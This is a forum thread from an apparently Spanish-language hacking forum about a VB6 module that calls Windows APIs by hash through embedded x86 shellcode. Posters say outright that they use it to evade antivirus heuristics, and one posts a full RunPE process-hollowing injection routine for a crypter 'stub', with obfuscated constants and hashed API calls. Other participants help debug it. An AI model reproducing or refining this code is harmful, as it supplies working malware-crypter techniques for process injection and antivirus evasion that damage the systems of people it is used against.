Tema destacado: Personaliza-Escoge el diseño del foro que más te guste.
Autor
|
Tema: [ASM+VB6][INVOKE] Llamas APIs sin declararlas - kInvoke.bas (Leído 6,611 veces)
|
nemit
Desconectado
Mensajes: 1
|
Hi Karcrack. Thx for kInvoke. Everything runs fine in the code except the commentet Invoke Calls. Maybe you know what im doing wrong? Option Explicit Private Declare Function CryptEncrypt Lib "advapi32.dll" (ByVal hKey As Long, ByVal hHash As Long, ByVal Final As Long, ByVal dwFlags As Long, ByVal pbData As String, pdwDataLen As Long, ByVal dwBufLen As Long) As Long Private Declare Function CryptDecrypt Lib "advapi32.dll" (ByVal hKey As Long, ByVal hHash As Long, ByVal Final As Long, ByVal dwFlags As Long, ByVal pbData As String, pdwDataLen As Long) As Long Private Declare Function CryptHashData Lib "advapi32.dll" (ByVal hHash As Long, ByVal pbData As String, ByVal dwDataLen As Long, ByVal dwFlags As Long) As Long Private Const PROV_RSA_AES As Long = 24 Private Const CRYPT_NEWKEYSET As Long = 8 Private Const CALG_AES_256 As Long = 26128 Private Const CALG_SHA_512 As Long = 32782 Private Const CRYPT_CREATE_SALT As Long = &H4 Private Type OSVERSIONINFO dwOSVersionInfoSize As Long dwMajorVersion As Long dwMinorVersion As Long dwBuildNumber As Long dwPlatformId As Long szCSDVersion As String * 128 End Type Private Const sAdvapi As String = "advapi32.dll" Private Const sKernel As String = "kernel32.dll" Public Function EnDecodeAES(ByVal sData As String, ByVal sPassword As String, ByVal bEncrypt As Boolean) As String Dim hHash As Long Dim hKey As Long Dim hCryptProv As Long Dim lData As Long Dim sGetServiceProvider As String Dim OS As OSVERSIONINFO OS.dwOSVersionInfoSize = Len(OS) Call Invoke(sKernel, &HC75FC483, VarPtr(OS)) If OS.dwMajorVersion & OS.dwMinorVersion >= 60 Then sGetServiceProvider = "Microsoft Enhanced RSA and AES Cryptographic Provider" Else sGetServiceProvider = "Microsoft Enhanced RSA and AES Cryptographic Provider (Prototype)" End If Call Invoke(sAdvapi, &H43C28BF0, VarPtr(hCryptProv), 0, StrPtr(sGetServiceProvider), PROV_RSA_AES, CRYPT_NEWKEYSET) Call Invoke(sAdvapi, &H43C28BF0, VarPtr(hCryptProv), 0, StrPtr(sGetServiceProvider), PROV_RSA_AES, 0&) Call Invoke(sAdvapi, &H4105A130, hCryptProv, CALG_SHA_512, 0, 0, VarPtr(hHash)) 'Private Declare Function CryptHashData Lib "advapi32.dll" (ByVal hHash As Long, ByVal pbData As String, ByVal dwDataLen As Long, ByVal dwFlags As Long) As Long 'Call Invoke(sAdvapi, &HC2122629, hHash, sPassword, Len(sPassword), 0) ' without Invoke Call CryptHashData(hHash, sPassword, Len(sPassword), 0) Call Invoke(sAdvapi, &HC2122629, hHash, StrPtr(sPassword), Len(sPassword), 0) Call Invoke(sAdvapi, &HB56D274A, hCryptProv, CALG_AES_256, hHash, CRYPT_CREATE_SALT, VarPtr(hKey)) lData = Len(sData) If bEncrypt Then sData = sData & Space(16) 'Private Declare Function CryptEncrypt Lib "advapi32.dll" (ByVal hKey As Long, ByVal hHash As Long, ByVal Final As Long, ByVal dwFlags As Long, ByVal pbData As String, pdwDataLen As Long, ByVal dwBufLen As Long) As Long 'Call Invoke(sAdvapi, &HD9242588, hKey, 0, 1, 0, sData, VarPtr(lData), Len(sData)) ' without Invoke Call CryptEncrypt(hKey, 0, 1, 0, sData, lData, Len(sData)) Else 'Private Declare Function CryptDecrypt Lib "advapi32.dll" (ByVal hKey As Long, ByVal hHash As Long, ByVal Final As Long, ByVal dwFlags As Long, ByVal pbData As String, pdwDataLen As Long) As Long 'Call Invoke(sAdvapi, &H59202584, hKey, 0, 1, 0, sData, VarPtr(lData)) ' without Invoke Call CryptDecrypt(hKey, 0, 1, 0, sData, lData) End If EnDecodeAES = Left(sData, lData) Call Invoke(sAdvapi, &H25D4AE7A, hHash) Call Invoke(sAdvapi, &H95E24580, hKey) Call Invoke(sAdvapi, &H5AE8E894, hCryptProv, 0) End Function
|
|
|
|
|
En línea
|
|
|
|
Karcrack
Desconectado
Mensajes: 2.192
Se siente observado ¬¬'
|
I'd like to see the working code without Invoke, so I'll be able to see if you pass some pointers wrong..
|
|
|
|
|
En línea
|
|
|
|
Elemental Code
Desconectado
Mensajes: 499
Im beyond the system
|
Porque visual basic me odia? Eh? Quise ver si hacia magia con la deteccion por euristica de los AV y... NO ME ANDA  Call Invoke("urlmon", &H702F1A36, 0, StrPtr("http://d.imagehost.org/0187/Tron-Evolution-cover_1.jpg"), StrPtr("C:\Tron.jpg"), 0, 0) Este es un codigo "bobo" con la UrLmon de URLTODOWNLOADFILE que baja una imagen al disco para probar. Pero no baja la imagen ni me muestra ningun error ni nada. En que le erre :S?
|
|
|
|
|
En línea
|
|
|
|
Karcrack
Desconectado
Mensajes: 2.192
Se siente observado ¬¬'
|
Comprueba que estes llamando a la version unicode del API... URLDownloadToFileW@URLMON... La explicacion de porque hay que llamar a las versiones unicode de las APIs es porque al usar StrPtr() sacas el puntero a la cadena en formato unicode... si quisieses por alguna razon usar la version ascii deberias hacer la conversion manualmente por ejemplo con bvByteArray = StrConv(sCADENA, vbFromUnicode) Un saludo 
|
|
|
|
|
En línea
|
|
|
|
Swellow
Desconectado
Mensajes: 36
|
He hecho una pequeña actualizacion para un nuevo modulo RunPe en el que estoy trabajando, asi que aqui esta: 'Karcrack , 22/07/10 Option Explicit Private Type DWORD_L D1 As Long End Type Private Type DWORD_B B1 As Byte: B2 As Byte: B3 As Byte: B4 As Byte End Type 'USER32 Private Declare Function CallWindowProcW Lib "USER32" (ByVal lpCode As Long, Optional ByVal lParam1 As Long, Optional ByVal lParam2 As Long, Optional ByVal lParam3 As Long, Optional ByVal lParam4 As Long) As Long Private bInitialized_Inv As Boolean Private ASM_gAPIPTR(0 To 170) As Byte Private ASM_cCODE(0 To 255) As Byte Private Function Invoke(ByVal sDLL As String, ByVal hHash As Long, ParamArray vParams() As Variant) As Long Dim vItem As Variant Dim bsTmp As DWORD_B Dim lAPI As Long Dim i As Long Dim w As Long If Not bInitialized_Inv Then For Each vItem In Array(&HE8, &H22, &H0, &H0, &H0, &H68, &HA4, &H4E, &HE, &HEC, &H50, &HE8, &H43, &H0, &H0, &H0, &H83, &HC4, &H8, &HFF, &H74, &H24, &H4, &HFF, &HD0, &HFF, &H74, &H24, &H8, &H50, &HE8, &H30, &H0, &H0, &H0, &H83, &HC4, &H8, &HC3, &H56, &H55, &H31, &HC0, &H64, &H8B, &H70, &H30, &H8B, &H76, &HC, &H8B, &H76, &H1C, &H8B, &H6E, &H8, &H8B, &H7E, &H20, &H8B, &H36, &H38, &H47, &H18, &H75, &HF3, &H80, &H3F, &H6B, &H74, &H7, &H80, &H3F, &H4B, &H74, &H2, &HEB, &HE7, &H89, &HE8, &H5D, &H5E, &HC3, &H55, &H52, &H51, _ &H53, &H56, &H57, &H8B, &H6C, &H24, &H1C, &H85, &HED, &H74, &H43, &H8B, &H45, &H3C, &H8B, &H54, &H5, &H78, &H1, &HEA, &H8B, &H4A, &H18, &H8B, &H5A, &H20, &H1, &HEB, &HE3, &H30, &H49, &H8B, &H34, &H8B, &H1, &HEE, &H31, &HFF, &H31, &HC0, &HFC, &HAC, &H84, &HC0, &H74, &H7, &HC1, &HCF, &HD, &H1, &HC7, &HEB, &HF4, &H3B, &H7C, &H24, &H20, &H75, &HE1, &H8B, &H5A, &H24, &H1, &HEB, &H66, &H8B, &HC, &H4B, &H8B, &H5A, &H1C, &H1, &HEB, &H8B, &H4, &H8B, &H1, &HE8, &H5F, &H5E, &H5B, &H59, &H5A, &H5D, &HC3) ASM_gAPIPTR(i) = CByte(vItem) i = i + 1 Next vItem i = 0 bInitialized_Inv = True End If lAPI = CallWindowProcW(VarPtr(ASM_gAPIPTR(0)), StrPtr(sDLL), hHash) If lAPI Then For w = UBound(vParams) To LBound(vParams) Step -1 vItem = vParams(w) bsTmp = SliceLong(CLng(vItem)) '// PUSH ADDR ASM_cCODE(i) = &H68: i = i + 1 ASM_cCODE(i) = bsTmp.B1: i = i + 1 ASM_cCODE(i) = bsTmp.B2: i = i + 1 ASM_cCODE(i) = bsTmp.B3: i = i + 1 ASM_cCODE(i) = bsTmp.B4: i = i + 1 Next w bsTmp = SliceLong(lAPI) '// MOV EAX, ADDR ASM_cCODE(i) = &HB8: i = i + 1 ASM_cCODE(i) = bsTmp.B1: i = i + 1 ASM_cCODE(i) = bsTmp.B2: i = i + 1 ASM_cCODE(i) = bsTmp.B3: i = i + 1 ASM_cCODE(i) = bsTmp.B4: i = i + 1 '// CALL EAX ASM_cCODE(i) = &HFF: i = i + 1 ASM_cCODE(i) = &HD0: i = i + 1 '// RET ASM_cCODE(i) = &HC3: i = i + 1 Invoke = CallWindowProcW(VarPtr(ASM_cCODE(0))) Else Invoke = -1 'Err.Raise -1, , "Bad Hash or wrong DLL" End If End Function Private Function SliceLong(ByVal lLong As Long) As DWORD_B Dim tL As DWORD_L tL.D1 = lLong LSet SliceLong = tL End Function Saludos  Thanks a lot for that code Karcrack, I tried to replace my call api by name by this one, I converted all api names to hash but then my stub gets broken. Is there anything else that has to be done?
|
|
|
|
|
En línea
|
|
|
|
Karcrack
Desconectado
Mensajes: 2.192
Se siente observado ¬¬'
|
Well, if you're taking the Hashes correctly it must work fine... check there's no problem with DEP (Windows) or native/p-code...
Make sure you're generating the hashes using the complete function name... p.e MessageBoxA
|
|
|
|
« Última modificación: 1 Noviembre 2011, 03:53 por Karcrack »
|
En línea
|
|
|
|
Swellow
Desconectado
Mensajes: 36
|
Well, if you're taking the Hashes correctly it must work fine... check there's no problem with DEP (Windows) or native/p-code...
Make sure you're generating the hashes using the complete function name... p.e MessageBoxA
I've generated the hashes correctly using each complete function name, I used the tool you shared with us. I'm on Windows 7 x64 bits and I'm compiling in Native Code I never got the CallAPIByHash working, never understood why :/ My Stub was using CallAPIByName and it was working...
|
|
|
|
|
En línea
|
|
|
|
[L]ord [R]NA
Desconectado
Mensajes: 1.507
El Dictador y Verdugo de H-Sec
|
On 64bits maybe the hash would be different, check this with a Debugger or make a program to create Hashes automatically
|
|
|
|
|
En línea
|
|
|
|
Swellow
Desconectado
Mensajes: 36
|
On 64bits maybe the hash would be different, check this with a Debugger or make a program to create Hashes automatically
I have no idea on how to do this... Could you help me doing this please?
|
|
|
|
|
En línea
|
|
|
|
Karcrack
Desconectado
Mensajes: 2.192
Se siente observado ¬¬'
|
The hashes are the same... Can you post the code your using? Maybe the problem is with DEP...
|
|
|
|
|
En línea
|
|
|
|
Swellow
Desconectado
Mensajes: 36
|
The hashes are the same... Can you post the code your using? Maybe the problem is with DEP...
I don't know with which API's it's not working, how do I know? I have Invoked RunPE/Resource and a few APIs in Main: Main Module: 'fCallAPI ("KERNEL32"), ("RtlMoveMemory"), VarPtr(bFile(0)), VarPtr(bTemp(10)), UBound(bFile) ---> fCallAPI ("KERNEL32"), (&HCF14E85B), VarPtr(bFile(0)), VarPtr(bTemp(10)), UBound(bFile) 'fCallAPI "kernel32", "GetModuleFileNameW", 0, VarPtr(bBuff(0)), 1024 ---> fCallAPI "kernel32", &h45B06D8C, 0, VarPtr(bBuff(0)), 1024 Resource Module: 'hRsrc = fCallAPI(("Kernel32"), ("FindResourceW"), hMod, ResName, ResType) ---> hRsrc = fCallAPI(("Kernel32"), (&h3BD09A6B), hMod, ResName, ResType) 'hGlobal = fCallAPI(("Kernel32"), ("LoadResource"), hMod, hRsrc) ---> hGlobal = fCallAPI(("Kernel32"), (&h934E1F7B), hMod, hRsrc) 'lpData = fCallAPI(("Kernel32"), ("LockResource"), hGlobal) ---> lpData = fCallAPI(("Kernel32"), (&h9A4E2F7B), hGlobal) 'Size = fCallAPI(("Kernel32"), ("SizeofResource"), hMod, hRsrc) ---> Size = fCallAPI(("Kernel32"), (&h3F2A9609), hMod, hRsrc) 'fCallAPI ("Kernel32"), ("RtlMoveMemory"), VarPtr(B(0)), lpData, Size ---> fCallAPI ("Kernel32"), (&hCF14E85B), VarPtr(B(0)), lpData, Size 'fCallAPI ("Kernel32"), ("FreeResource"), hGlobal ---> fCallAPI ("Kernel32"), (&h54423F7C), hGlobal 'fCallAPI ("Kernel32"), ("FreeLibrary"), hMod ---> fCallAPI ("Kernel32"), (&h4DC9D5A0), hMod And all API's in kRunPE: Public Function fInjectExe(ByRef bvBuff() As Byte, ByVal sHost As String, Optional ByVal sParams As String, Optional ByRef hProcess As Long) As Long Dim hModuleBase As Long Dim hPE As Long Dim hSec As Long Dim ImageBase As Long Dim gNumC As Long Dim tSTARTUPINFO(16) As Long Dim tPROCESS_INFORMATION(3) As Long Dim tCONTEXT(50) As Long Dim KERNEL32 As String Dim NTDLL As String
KERNEL32 = "KERNEL32" NTDLL = "NTDLL"
hModuleBase = VarPtr(bvBuff(0))
If Not GetNumb(hModuleBase, fClngW("2")) = fClngW("&H5A4D") Then Exit Function
hPE = hModuleBase + GetNumb(hModuleBase + fClngW("&H3C"))
If Not GetNumb(hPE) = fClngW("&H4550") Then Exit Function
ImageBase = GetNumb(hPE + fClngW("&H34"))
tSTARTUPINFO(0) = fClngW("&H44") 'CreateProcessW Call fCallAPI(KERNEL32, &H16B3FE88, 0, StrPtr(sHost), 0, 0, 0, fClngW("&H4"), 0, 0, VarPtr(tSTARTUPINFO(0)), VarPtr(tPROCESS_INFORMATION(0))) 'NtUnmapViewOfSection Call fCallAPI(NTDLL, &HF21037D0, tPROCESS_INFORMATION(0), ImageBase)
'NtAllocateVirtualMemory Call fCallAPI(NTDLL, &HD33BCABD, tPROCESS_INFORMATION(0), VarPtr(ImageBase), 0, VarPtr(GetNumb(hPE + fClngW("&H50"))), fClngW("&H3000"), fClngW("&H40")) 'NtWriteVirtualMemory Call fCallAPI(NTDLL, &HC5108CC2, tPROCESS_INFORMATION(0), ImageBase, VarPtr(bvBuff(0)), GetNumb(hPE + fClngW("&H54")), 0)
For gNumC = 0 To GetNumb(hPE + fClngW("&H6"), fClngW("2")) - fClngW("1") hSec = hPE + fClngW("&HF8") + (fClngW("&H28") * gNumC) 'NtWriteVirtualMemory Call fCallAPI(NTDLL, &HC5108CC2, tPROCESS_INFORMATION(0), ImageBase + GetNumb(hSec + fClngW("&HC")), hModuleBase + GetNumb(hSec + fClngW("&H14")), GetNumb(hSec + fClngW("&H10")), 0) Next gNumC
tCONTEXT(0) = fClngW("65543")
'NtGetContextThread Call fCallAPI(NTDLL, &HE935E393, tPROCESS_INFORMATION(1), VarPtr(tCONTEXT(0))) 'NtWriteVirtualMemory Call fCallAPI(NTDLL, &HC5108CC2, tPROCESS_INFORMATION(0), tCONTEXT(41) + fClngW("&H8"), VarPtr(ImageBase), fClngW("&H4"), fClngW("0"))
tCONTEXT(44) = ImageBase + GetNumb(hPE + fClngW("&H28")) 'NtSetContextThread Call fCallAPI(NTDLL, &H6935E395, tPROCESS_INFORMATION(1), VarPtr(tCONTEXT(0))) 'NtResumeThread Call fCallAPI(NTDLL, &HC54A46C8, tPROCESS_INFORMATION(1), 0)
hProcess = tPROCESS_INFORMATION(0) fInjectExe = fClngW("1") End Function Private Function GetNumb(ByVal lPtr As Long, Optional ByVal lSize As Long = &H4) As Long 'NtWriteVirtualMemory Call fCallAPI("NTDLL", &HC5108CC2, -1, VarPtr(GetNumb), lPtr, lSize, 0) End Function
|
|
|
|
« Última modificación: 1 Noviembre 2011, 19:19 por Swellow »
|
En línea
|
|
|
|
Karcrack
Desconectado
Mensajes: 2.192
Se siente observado ¬¬'
|
The code is pretty confusing... it's hard to follow the calls without looking at the original API declarations neither the structure declaration... anyway looks like your passing the pointers incorrectly... can't help you much more... you should look at the functions return... using Msgbox() is the easiest way.. also the worst 
|
|
|
|
|
En línea
|
|
|
|
|
|